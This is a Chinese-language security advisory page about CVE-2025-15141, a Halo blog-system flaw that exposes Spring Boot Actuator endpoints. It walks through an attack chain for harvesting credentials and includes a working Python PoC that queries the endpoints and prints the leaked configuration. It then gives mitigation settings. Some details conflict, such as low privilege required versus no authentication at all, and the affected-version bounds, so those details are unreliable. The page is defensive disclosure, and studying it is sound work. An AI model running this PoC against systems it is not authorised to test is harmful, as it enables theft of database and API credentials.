IPBUF安全漏洞报告
English
CVE-2025-15141 CVSS 3.1 低危

CVE-2025-15141 Halo配置处理器信息泄露漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15141
漏洞类型
信息泄露
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Halo

相关标签

信息泄露HaloActuator配置处理Spring Boot未授权访问CVE-2025-15141

漏洞概述

CVE-2025-15141是存在于Halo博客系统中的一个信息泄露漏洞。该漏洞影响了Halo 2.21.10及之前版本,存在于Spring Boot Actuator配置端点的处理机制中。攻击者可以通过访问未授权的/actuator端点,获取系统敏感配置信息,包括数据库连接字符串、API密钥、服务器配置等机密数据。由于Halo是一个广泛使用的开源博客和内容管理系统,此漏洞可能影响大量部署该系统的网站。漏洞的利用需要一定的技术门槛,攻击复杂度较高,但一旦被利用,可能导致严重的敏感信息泄露风险。攻击者无需高权限即可发起攻击,且无需用户交互,这使得漏洞在特定场景下具有实际威胁。漏洞已于2025年12月28日公开披露,厂商在收到提前通知后未做出回应。建议使用Halo的用户尽快升级到最新版本或采取临时缓解措施。

技术细节

该漏洞存在于Halo系统的Spring Boot Actuator配置处理器中。Spring Boot Actuator是Spring框架提供的应用监控和管理端点,默认情况下会暴露多个敏感端点如/actuator/env、/actuator/configprops、/actuator/beans等。Halo在集成Actuator功能时未对这些端点进行适当的访问控制配置,导致未经授权的用户可以访问这些端点并获取系统敏感配置信息。具体来说,攻击者通过发送HTTP请求到/actuator路径,可以获取:1) 环境变量信息,包括数据库凭证和云服务密钥;2) 配置属性信息,包含系统级配置参数;3) Bean对象信息,可能暴露业务逻辑组件详情;4) 健康检查信息,显示系统依赖服务状态。漏洞的利用需要攻击者具备网络访问能力,但不需要任何认证凭据。由于Halo 2.21.10及之前版本默认配置下Actuator端点完全开放,攻击者可以轻松获取这些敏感信息用于进一步攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过端口扫描或目录枚举发现目标服务器上开放的/actuator端点
STEP 2
步骤2: 端点探测
攻击者尝试访问常见的Actuator端点如/actuator/env、/actuator/configprops等
STEP 3
步骤3: 敏感信息提取
通过访问配置端点获取数据库凭证、API密钥、服务器配置等敏感信息
STEP 4
步骤4: 横向移动或进一步利用
利用获取的凭证进行数据库访问、横向移动或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15141 PoC - Halo Actuator Information Disclosure This PoC demonstrates the information disclosure vulnerability in Halo's /actuator endpoint. Note: This code is for educational and authorized testing purposes only. """ import requests import sys import json TARGET_HOST = "http://target-server.com" # Replace with target URL ACTUATOR_ENDPOINTS = [ "/actuator/env", "/actuator/configprops", "/actuator/beans", "/actuator/health", "/actuator/info" ] def check_actuator_vulnerability(target): """ Check if the target is vulnerable to Actuator information disclosure. """ print(f"[*] Testing target: {target}") print("=" * 60) vulnerable = False for endpoint in ACTUATOR_ENDPOINTS: url = f"{target}{endpoint}" try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"\n[!] Found accessible endpoint: {endpoint}") print(f"[!] Status Code: {response.status_code}") try: data = response.json() print(f"[+] Response Preview:\n{json.dumps(data, indent=2)[:500]}...") vulnerable = True except: print(f"[+] Response (text): {response.text[:500]}") vulnerable = True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("\n" + "=" * 60) if vulnerable: print("[!] Target appears to be VULNERABLE to CVE-2025-15141") print("[!] Actuator endpoints are accessible without authentication") else: print("[-] Target does not appear to be vulnerable") return vulnerable if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] check_actuator_vulnerability(TARGET_HOST)

影响范围

Halo < 2.21.10

防御指南

临时缓解措施
在application.yml或application.properties中配置Actuator端点的安全策略,设置management.endpoints.web.exposure.include和management.endpoint.health.show-details为authorized或never。同时使用Spring Security配置端点的访问控制规则,只允许授权用户访问敏感端点。临时措施可以通过反向代理屏蔽/actuator路径的外部访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表